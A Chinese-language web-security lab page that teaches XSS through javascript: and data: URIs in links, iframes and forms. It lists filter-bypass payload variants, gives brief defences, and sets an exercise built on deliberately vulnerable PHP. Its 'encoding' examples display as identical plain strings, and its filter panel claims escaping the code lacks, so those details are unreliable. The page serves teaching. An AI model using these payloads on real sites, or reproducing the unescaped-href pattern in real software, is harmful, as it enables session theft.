◈ 渗透任务 超链接协议注入验证 任务中
你的身份 「暗影安全公司」渗透测试工程师 目标网站 LinkHub 链接分享社区 (links.linkhub.example.com) 委托方 LinkHub 允许用户提交超链接,但未对 href 属性的协议进行限制 任务目标 利用 javascript: 协议构造 XSS 链接

◈ 教程:javascript: 协议

什么是 URI 协议?

URI(Uniform Resource Identifier)由协议(scheme)和路径组成。常见的协议包括 http:https:ftp: 等。浏览器支持一种特殊的协议 — javascript:,它不加载资源,而是执行 JavaScript 代码。

核心原理:当浏览器在 hrefsrcaction 等属性中遇到 javascript: 协议时,会将冒号后面的字符串作为 JavaScript 代码执行。

javascript: 基础用法

<!-- 在 href 中 -->
<a href="javascript:alert(1)">Click me</a>
// 点击后执行 alert(1)

<!-- 在地址栏中 -->
// 用户在地址栏输入 javascript:alert(1) 并回车

<!-- 在 iframe src 中 -->
<iframe src="javascript:alert(1)"></iframe>

<!-- 在 form action 中 -->
<form action="javascript:alert(1)">
  <button type="submit">Submit</button>
</form>

javascript: 的执行时机

场景 执行时机
<a href="javascript:..."> 用户点击时
<iframe src="javascript:..."> iframe 加载时
<form action="javascript:..."> 表单提交时
window.location = "javascript:..." 赋值时立即执行
地址栏输入 回车后执行

常见绕过技巧

空白字符绕过
javascript :alert(1)         // 冒号前加空格
javascript:  alert(1)        // 冒号后加空格
javascript:	alert(1)         // 制表符
javascript:
alert(1)                     // 换行符(某些浏览器)
大小写绕过
Javascript:alert(1)
JAVASCRIPT:alert(1)
jAvAsCrIpT:alert(1)
编码绕过
javascript:alert(1)       // HTML 实体
javascript:alert(1)      // 十六进制实体
javascript:alert(1)     // Unicode 转义
嵌套绕过
javascript:javascript:alert(1)  // 双重协议
javascript:void(alert(1))       // 使用 void
javascript:void(0);alert(1)     // void + 分号

data: 协议

data: 是另一个危险的 URI 协议,可以加载 HTML 或 JavaScript:

<a href="data:text/html,<script>alert(1)</script>">Click</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click</a>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

vbscript: 协议(IE)

// 仅在旧版 IE 中有效
<a href="vbscript:MsgBox(1)">Click</a>

防御方法

  • 白名单验证协议:只允许 http:https:
  • 使用 URL 对象解析并验证
  • 添加 CSP script-src 限制
  • 使用 rel="noopener noreferrer" 防止 opener 访问

◈ 练习:javascript: 协议

目标:页面允许用户提交 URL,会将其渲染为可点击的链接。虽然代码检查了 URL 是否以 http 开头,但 else 分支仍然会渲染链接。请利用 javascript: 协议构造 XSS。
重置
在上方输入框中输入 URL,点击"生成链接"查看结果...
◈ 查看漏洞源码 (PHP)
<?php $url = $_GET['url'] ?? ''; // 仅检查是否以 http 开头 — 但可以绕过 if (strpos($url, 'http') === 0 || strpos($url, '//') === 0) { echo '<a href="' . $url . '">Click here</a>'; } else { // 降级处理:对 "非 http" 链接仍然渲染 echo '<a href="' . $url . '">Click here</a>'; } ?>
◈ 过滤状态:
  • URL 输入 — 无过滤
  • 协议检查 — 检查是否以 http 开头
  • else 分支 — 仍然渲染链接(漏洞所在)
  • HTML 转义 — htmlspecialchars 输出

提示:仔细阅读源码 — else 分支做了什么?